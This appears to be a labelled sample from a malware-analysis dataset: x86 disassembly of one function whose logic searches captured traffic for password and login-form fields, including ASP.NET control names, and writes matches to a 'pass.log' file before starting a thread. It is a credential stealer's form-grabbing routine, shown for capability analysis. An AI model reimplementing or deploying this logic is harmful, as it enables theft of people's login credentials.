Function at 0x1000cef0
Capabilities:
Create directory
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebx + 1]
test eax, eax
je 0x1000d260
push esi
push edi
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov dword [ebp - 4], esi
test esi, esi
je 0x1000d25e
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 8]
add esp, 0xc
test eax, eax
je 0x1000d23c
test ebx, ebx
je 0x1000d23c
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1000d23c
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
push 0x1001c680
push esi
call edi
add esp, 8
test eax, eax
je 0x1000d049
push str.password
push esi
call edi
add esp, 8
test eax, eax
je 0x1000d049
xor eax, eax
lea ebx, [ebx]
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x108], cl
inc eax
test cl, cl
jne 0x1000cf90
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x10022a18
call ebx
mov eax, 0x10022a18
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1000cfb6
lea edi, [ebp - 0x108]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000cfc8
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x10022a18
rep movsb byte es:[edi], byte [esi]
call ebx
push 0x10022a18
call fcn.100018c0
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000d005
mov ecx, dword [str.pass.log]
mov edx, dword [0x1001c5c0]
mov ebx, dword [ebp + 0xc]
mov dword [eax], ecx
mov cl, byte [0x1001c5c4]
mov dword [eax + 4], edx
mov edx, dword [ebp + 8]
mov byte [eax + 8], cl
push edx
lea eax, [ebp - 0x108]
call fcn.10003f60
push 0
push 0
push 0
push 0x10013f40
jmp 0x1000d224
push str.name_
push esi
call edi
add esp, 8
test eax, eax
je 0x1000d13b
push str.pass_
push esi
call edi
add esp, 8
test eax, eax
je 0x1000d13b
xor eax, eax
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x108], cl
inc eax
test cl, cl
jne 0x1000d071
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x10022e28
call ebx
mov eax, 0x10022e28
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1000d097
lea edi, [ebp - 0x108]
sub eax, ecx
mov esi, ecx
dec edi
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000d0b0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x10022e28
rep movsb byte es:[edi], byte [esi]
call ebx
push 0x10022e28
call fcn.100018c0
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x108]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000d0f0
mov ecx, dword [str.pass.log]
mov edx, dword [0x1001c5c0]
mov ebx, dword [ebp + 0xc]
mov dword [eax], ecx
mov cl, byte [0x1001c5c4]
mov dword [eax + 4], edx
mov edx, dword [ebp + 8]
mov byte [eax + 8], cl
push edx
lea eax, [ebp - 0x108]
call fcn.10003f60
xor eax, eax
cmp dword [ebp + 0x10], eax
push 0
sete al
push 0
push eax
push 0x100145f0
jmp 0x1000d224
push str.ctl00_24MainMenu_24Login1_24UserName
push esi
call edi
add esp, 8
test eax, eax
je 0x1000d23c
push str.ctl00_24MainMenu_24Login1_24Password
push esi
call edi
add esp, 8
test eax, eax
je 0x1000d23c
xor eax, eax
jmp 0x1000d170
mov cl, byte [eax + 0x1001fdd0]
mov byte [ebp + eax - 0x108], cl
inc eax
test cl, cl
jne 0x1000d170
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x10023030
call ebx
mov eax, 0x10023030
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1000d196
lea edi, [ebp - 0x108]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000d1a8
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x10023030
rep movsb byte es:[edi], byte [esi]
call ebx
push 0x10023030
call fcn.100018c0
push 0
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1000d1e5
mov edx, dword [str.pass.log]
mov ecx, dword [0x1001c5c0]
mov ebx, dword [ebp + 0xc]
mov dword [eax], edx
mov dl, byte [0x1001c5c4]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x108]
call fcn.10003f60
push 0
push 0
push 0
push 0x10015740
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1000d239
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1000d25e
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc